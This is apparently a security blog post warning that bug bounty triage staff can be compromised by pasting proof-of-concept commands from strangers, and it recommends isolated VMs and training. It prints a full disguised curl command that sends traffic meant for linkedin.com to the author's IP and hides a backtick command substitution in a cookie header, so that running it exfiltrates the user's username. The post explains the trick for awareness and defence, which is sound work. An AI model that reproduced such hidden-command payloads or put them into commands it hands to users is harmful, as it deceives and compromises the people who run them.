Introduction

Bug bounty programs introduce risk and increase the attack surface of your company. Recent developments have me worried about social engineering attacks via vulnerability reports. I've performed an example attack on three major bounty platforms, of which one had employees run my code as expected.

I'll discuss social engineering via bug bounty programs and show an example attack, followed by tips for hardening your security team. "Bug Bounty" programs and "Responsible Disclosure" programs are the same in this context, as they both interpret security reports from strangers.

Note for researchers: Do not perform these attacks without permission. Social engineering is almost always out of scope, and you can get banned from a platform for trying.

What is the threat?

A security team is one of the worst entry points for getting breached. Yet, I've observed multiple bug bounty triage teams using curl commands from strangers in their terminals. It's the only place in a company where this insecure practice takes place. Have you ever copy-pasted a PoC to check the response?

A recent blog post from Google describes advanced social engineering attacks targeting security researchers. Attacks include sharing a Visual Studio project which executes malicious code when opened, after gaining trust as a security researcher.

Trust is implicit in bounty programs, since the reporters are seen as good Samaritans. But this is exactly the trust the threat actors are trying to exploit.

A common report

A common bug report includes a problem description and reproduction steps.

Hi, I found a vulnerability in your website. One can retrieve sensitive data using this curl command: [curl command snippet]

Bug bounty triage teams have to validate many security findings. High-risk vulnerabilities have to be handled quickly, and Proof-of-Concepts are often vague but intriguing. Quick handling and testing leaves the triage teams open to Command Injection via maliciously crafted commands.

An example attack

Last week I tricked security personnel with a payload similar to the following.

curl -i -s -k -X $'GET' 'https://www.linkedin.com/examplepage' \
   -H $'Host: www.linkedin.com' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0)' -H $'Accept-Language: en-US,en;q=0.5' -H -H $'Referer: https://www.linkedin.com/otherpage' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' --resolve www.linkedin.com:443:37.128.146.64 -H $'Cache-Control: max-age=0' \
   -b $`_ga=GA1.2.112231337.133780085000; _cook_tr=321234321222333fabeafdeadff05242; _trck_cnst=1; _gid=GA1.2.257119904.1612885148; _mkto_trk=token|whoami`'=_theirdomain.com-1029384756; _track_flgs=eyJjb29raWV2YWx1ZSI6WyJ1c2VyIiwyMzQsInllcyJdLCJ2YWx0d28iOnZhbH0%3D;'

As you can see, it's a simple curl command to linkedin.com. However, if you run it, you see an /etc/passwd file! Did we just hack LinkedIn?

Did you run the command to check it out? Well, then we didn't hack LinkedIn, but you've surely pwned yourself. Let's take a look at that command. Multiple hidden elements make this work.

  • The option --resolve www.linkedin.com:443:37.128.146.64 will redirect the request to my server.
  • The -k option disables TLS errors because my server obviously doesn't have the proper TLS certificate for www.linkedin.com.
  • The part -b $`_ga=... looks like it's sending cookies, but it's actually a backtick, executing commands on your machine. This part runs the command whoami.

So running the command will send your username to my server. My VPS returns an /etc/passwd file to mimic a successful attack.

Did you see the hidden command? Would you have run it, if someone reported it as a high-risk vulnerability? Employees from a bounty platform ran it. They thanked me for keeping them sharp, although they didn't provide a bounty and wished to stay anonymous. Nevertheless, two of the platforms didn't mind helping with this article and they provided some best-practices they (most of their employees) use.

What should we do?

The hardening tips come down to using isolated environments and providing security training, of which the former has the preference.

Use isolated environments

It's always best to harden the infrastructure around the user instead of trying to fix the users themselves. Google advises to use separate machines - physical or virtual - for "general web browsing, interacting with others in the research community, accepting files from third parties and your own security research", which obviously includes running commands from people you don't know. This is in line with tips from the bounty platforms, which come down to using isolated environments and monitoring for malicious activity.

Train security personnel

Both platforms note that they use security training and phishing awareness campaigns. If you'd like to create security training, I recommend watching the BlackHat 2020 talk from Masha Sedova.

The talk highlights the ineffectiveness of most security awareness programs, and provides insights into what makes people tick. An important insight is the proper approach for changing behavior, which includes Motivation, Ability and Prompting. For example, you can order your security team to use Virtual Machines for everything, but if their boxes are slow and working with VMs is a pain, they won't do it.

Most security training programs are targeted towards normal IT staff and revolve around link-clicking. Security personnel are expected to know what they are doing, although research suggests that technical ability does not correlate to susceptibility to phishing attacks.

Conclusion

Threat actors are performing advanced attacks against security researchers by abusing trust. This same trust can be exploited via vulnerability reports in bug bounty programs. Security teams need to implement strict procedures when handling such reports to prevent exploitation.

Always run Proof-of-Concept code in - at least - a Virtual Machine, and monitor for malicious activity where it makes sense. Keep personnel motivated to prevent breaches and make sharing security knowledge a part of your company's culture.

The article was originally published on my LinkedIn, but I migrated all posts here.